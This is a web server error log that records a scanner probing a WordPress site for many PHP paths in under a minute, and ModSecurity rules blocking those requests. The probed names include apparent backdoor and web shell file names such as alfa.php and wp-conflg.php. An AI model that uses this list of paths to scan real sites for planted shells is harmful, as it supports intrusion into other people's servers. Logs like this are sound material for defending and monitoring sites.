[Wed Jan 21 01:06:55.344668 2026] [:error] [pid 54259:tid 54283] [client 20.230.68.0:18218] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/install.php"] [unique_id "aW-2Lw2q1USrePnOoFQg1wAAAIY"]
[Wed Jan 21 01:06:56.111236 2026] [:error] [pid 17295:tid 17305] [client 20.230.68.0:18178] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lv.php"] [unique_id "aW-2MPZJhGdrcqZICT_MFgAAAYc"]
[Wed Jan 21 01:06:56.881920 2026] [:error] [pid 17295:tid 17308] [client 20.230.68.0:18259] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lv.php"] [unique_id "aW-2MPZJhGdrcqZICT_MGAAAAYo"]
[Wed Jan 21 01:06:57.613902 2026] [:error] [pid 56291:tid 56305] [client 20.230.68.0:18242] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lv.php"] [unique_id "aW-2MbXgW_1T5Nikxa0edAAAAEo"]
[Wed Jan 21 01:06:58.343694 2026] [:error] [pid 54382:tid 54404] [client 20.230.68.0:18202] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lv.php"] [unique_id "aW-2MkTJlZ9SJ6sBOEvnIwAAABM"]
[Wed Jan 21 01:06:58.906783 2026] [:error] [pid 54260:tid 54312] [client 20.230.68.0:18185] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "aW-2Mtg7jS3jmpUN0WBIWgAAAUQ"]
[Wed Jan 21 01:06:59.742833 2026] [:error] [pid 54260:tid 54328] [client 20.230.68.0:18280] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "aW-2M9g7jS3jmpUN0WBIWwAAAVQ"]
[Wed Jan 21 01:07:00.222234 2026] [:error] [pid 54260:tid 54322] [client 20.230.68.0:18274] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "aW-2NNg7jS3jmpUN0WBIXQAAAU4"]
[Wed Jan 21 01:07:01.298833 2026] [:error] [pid 63647:tid 63653] [client 20.230.68.0:18217] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "aW-2NVUaYw1xHOoaFFJCVwAAAgQ"]
[Wed Jan 21 01:07:01.823666 2026] [:error] [pid 54382:tid 54405] [client 20.230.68.0:18237] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aW-2NUTJlZ9SJ6sBOEvnJgAAABQ"]
[Wed Jan 21 01:07:02.579648 2026] [:error] [pid 17295:tid 17318] [client 20.230.68.0:18300] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aW-2NvZJhGdrcqZICT_MHAAAAZQ"]
[Wed Jan 21 01:07:03.426709 2026] [proxy_fcgi:error] [pid 17295:tid 17298] [client 20.230.68.0:18196] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 01:07:03.629584 2026] [proxy_fcgi:error] [pid 17295:tid 17302] [client 20.230.68.0:18196] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 01:07:03.829171 2026] [:error] [pid 17295:tid 17309] [client 20.230.68.0:18196] [client 20.230.68.0] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aW-2N_ZJhGdrcqZICT_MIAAAAYs"]
[Wed Jan 21 01:07:04.744474 2026] [proxy_fcgi:error] [pid 17340:tid 17370] [client 20.230.68.0:18226] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 01:07:06.180783 2026] [proxy_fcgi:error] [pid 17340:tid 17377] [client 20.230.68.0:18226] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 01:07:06.632583 2026] [proxy_fcgi:error] [pid 17340:tid 17363] [client 20.230.68.0:18226] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 01:07:06.841154 2026] [proxy_fcgi:error] [pid 17340:tid 17358] [client 20.230.68.0:18226] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 01:07:07.048465 2026] [proxy_fcgi:error] [pid 17340:tid 17366] [client 20.230.68.0:18226] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 01:07:07.258022 2026] [proxy_fcgi:error] [pid 17340:tid 17374] [client 20.230.68.0:18226] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 01:07:07.721059 2026] [proxy_fcgi:error] [pid 17340:tid 17361] [client 20.230.68.0:18226] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 01:07:08.152203 2026] [proxy_fcgi:error] [pid 17340:tid 17371] [client 20.230.68.0:18226] AH01071: Got error 'Primary script unknown'
[Wed Jan 21 01:07:08.360307 2026] [:error] [pid 17340:tid 17362] [client 20.230.68.0:18226] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aW-2PPAsOSYVgw_35t3YsQAAAkY"]
[Wed Jan 21 01:07:08.842627 2026] [:error] [pid 17295:tid 17301] [client 20.230.68.0:18191] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aW-2PPZJhGdrcqZICT_MIQAAAYM"]
[Wed Jan 21 01:07:09.548729 2026] [:error] [pid 17295:tid 17305] [client 20.230.68.0:13213] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aW-2PfZJhGdrcqZICT_MIgAAAYc"]
[Wed Jan 21 01:07:10.154030 2026] [:error] [pid 54260:tid 54325] [client 20.230.68.0:18208] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aW-2Ptg7jS3jmpUN0WBIYwAAAVE"]
[Wed Jan 21 01:07:10.879028 2026] [:error] [pid 17295:tid 17306] [client 20.230.68.0:13273] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "aW-2PvZJhGdrcqZICT_MJAAAAYg"]
[Wed Jan 21 01:07:11.335235 2026] [:error] [pid 56360:tid 56371] [client 20.230.68.0:18197] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "aW-2P01J8CD1rR-wXXuIAgAAAQk"]
[Wed Jan 21 01:07:11.999665 2026] [:error] [pid 54259:tid 54278] [client 20.230.68.0:18186] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "aW-2Pw2q1USrePnOoFQg2QAAAIE"]
[Wed Jan 21 01:07:12.656231 2026] [:error] [pid 56291:tid 56314] [client 20.230.68.0:18288] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "aW-2QLXgW_1T5Nikxa0eeQAAAFM"]
[Wed Jan 21 01:07:13.668544 2026] [:error] [pid 17340:tid 17379] [client 20.230.68.0:18205] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "aW-2QfAsOSYVgw_35t3YtgAAAlc"]
[Wed Jan 21 01:07:14.413311 2026] [:error] [pid 17340:tid 17358] [client 20.230.68.0:18239] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "aW-2QvAsOSYVgw_35t3YuAAAAkI"]
[Wed Jan 21 01:07:15.026607 2026] [:error] [pid 17295:tid 17322] [client 20.230.68.0:18257] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "aW-2Q_ZJhGdrcqZICT_MJgAAAZg"]
[Wed Jan 21 01:07:15.796198 2026] [:error] [pid 56360:tid 56372] [client 20.230.68.0:13278] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "aW-2Q01J8CD1rR-wXXuIBAAAAQo"]
[Wed Jan 21 01:07:16.446518 2026] [:error] [pid 54260:tid 54319] [client 20.230.68.0:13294] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/autoload_classmap.php"] [unique_id "aW-2RNg7jS3jmpUN0WBIZQAAAUs"]
[Wed Jan 21 01:07:17.086370 2026] [:error] [pid 17340:tid 17374] [client 20.230.68.0:18234] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/autoload_classmap.php"] [unique_id "aW-2RfAsOSYVgw_35t3YugAAAlI"]
[Wed Jan 21 01:07:17.906378 2026] [:error] [pid 17340:tid 17361] [client 20.230.68.0:18258] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/autoload_classmap.php"] [unique_id "aW-2RfAsOSYVgw_35t3YuwAAAkU"]
[Wed Jan 21 01:07:18.500483 2026] [:error] [pid 54260:tid 54323] [client 20.230.68.0:18240] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/autoload_classmap.php"] [unique_id "aW-2Rtg7jS3jmpUN0WBIaAAAAU8"]
[Wed Jan 21 01:07:19.049049 2026] [:error] [pid 54260:tid 54333] [client 20.230.68.0:18296] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aW-2R9g7jS3jmpUN0WBIaQAAAVc"]
[Wed Jan 21 01:07:19.691289 2026] [:error] [pid 8455:tid 8462] [client 20.230.68.0:13275] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aW-2R4JiHdPVtruynXDhNwAAA0U"]
[Wed Jan 21 01:07:20.204848 2026] [:error] [pid 54260:tid 54328] [client 20.230.68.0:13201] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aW-2SNg7jS3jmpUN0WBIawAAAVQ"]
[Wed Jan 21 01:07:20.743509 2026] [:error] [pid 63647:tid 63652] [client 20.230.68.0:18223] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aW-2SFUaYw1xHOoaFFJCXwAAAgM"]
[Wed Jan 21 01:07:21.261851 2026] [:error] [pid 54382:tid 54399] [client 20.230.68.0:13222] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aW-2SUTJlZ9SJ6sBOEvnNgAAAA4"]
[Wed Jan 21 01:07:22.256189 2026] [:error] [pid 54382:tid 54395] [client 20.230.68.0:18262] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aW-2SkTJlZ9SJ6sBOEvnOgAAAAo"]
[Wed Jan 21 01:07:23.139604 2026] [:error] [pid 54382:tid 54400] [client 20.230.68.0:13257] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aW-2S0TJlZ9SJ6sBOEvnPQAAAA8"]
[Wed Jan 21 01:07:23.677258 2026] [:error] [pid 17295:tid 17309] [client 20.230.68.0:13206] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aW-2S_ZJhGdrcqZICT_MKgAAAYs"]
[Wed Jan 21 01:07:24.950136 2026] [:error] [pid 17340:tid 17380] [client 20.230.68.0:13304] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aW-2TPAsOSYVgw_35t3YvAAAAlg"]
[Wed Jan 21 01:07:26.274371 2026] [:error] [pid 54259:tid 54286] [client 20.230.68.0:13302] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aW-2Tg2q1USrePnOoFQg3AAAAIk"]
[Wed Jan 21 01:07:27.589447 2026] [:error] [pid 54260:tid 54321] [client 20.230.68.0:13260] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aW-2T9g7jS3jmpUN0WBIbgAAAU0"]
[Wed Jan 21 01:07:29.537616 2026] [:error] [pid 17340:tid 17373] [client 20.230.68.0:13303] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa.php"] [unique_id "aW-2UfAsOSYVgw_35t3YwwAAAlE"]
[Wed Jan 21 01:07:30.089493 2026] [:error] [pid 8455:tid 8457] [client 20.230.68.0:13281] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aW-2UoJiHdPVtruynXDhOwAAA0A"]
[Wed Jan 21 01:07:30.930392 2026] [:error] [pid 17295:tid 17312] [client 20.230.68.0:13280] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aW-2UvZJhGdrcqZICT_MLAAAAY4"]
[Wed Jan 21 01:07:31.628360 2026] [:error] [pid 17340:tid 17377] [client 20.230.68.0:18278] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aW-2U_AsOSYVgw_35t3YxAAAAlU"]
[Wed Jan 21 01:07:32.270763 2026] [:error] [pid 56291:tid 56304] [client 20.230.68.0:18241] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aW-2VLXgW_1T5Nikxa0efwAAAEk"]
[Wed Jan 21 01:07:33.137822 2026] [:error] [pid 56291:tid 56297] [client 20.230.68.0:13310] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aW-2VbXgW_1T5Nikxa0egAAAAEI"]
[Wed Jan 21 01:07:33.772758 2026] [:error] [pid 17295:tid 17307] [client 20.230.68.0:13255] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aW-2VfZJhGdrcqZICT_MLgAAAYk"]
[Wed Jan 21 01:07:34.544984 2026] [:error] [pid 63647:tid 63660] [client 20.230.68.0:18179] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aW-2VlUaYw1xHOoaFFJCYgAAAgs"]
[Wed Jan 21 01:07:35.458417 2026] [:error] [pid 56291:tid 56295] [client 20.230.68.0:13261] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aW-2V7XgW_1T5Nikxa0egwAAAEA"]
[Wed Jan 21 01:07:36.307094 2026] [:error] [pid 54260:tid 54324] [client 20.230.68.0:18247] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aW-2WNg7jS3jmpUN0WBIcgAAAVA"]
[Wed Jan 21 01:07:36.954012 2026] [:error] [pid 63647:tid 63650] [client 20.230.68.0:13285] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aW-2WFUaYw1xHOoaFFJCYwAAAgE"]
[Wed Jan 21 01:07:37.899823 2026] [:error] [pid 17340:tid 17361] [client 20.230.68.0:13290] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aW-2WfAsOSYVgw_35t3YxgAAAkU"]
[Wed Jan 21 01:07:38.710434 2026] [:error] [pid 17340:tid 17364] [client 20.230.68.0:13277] [client 20.230.68.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aW-2WvAsOSYVgw_35t3YyAAAAkg"]
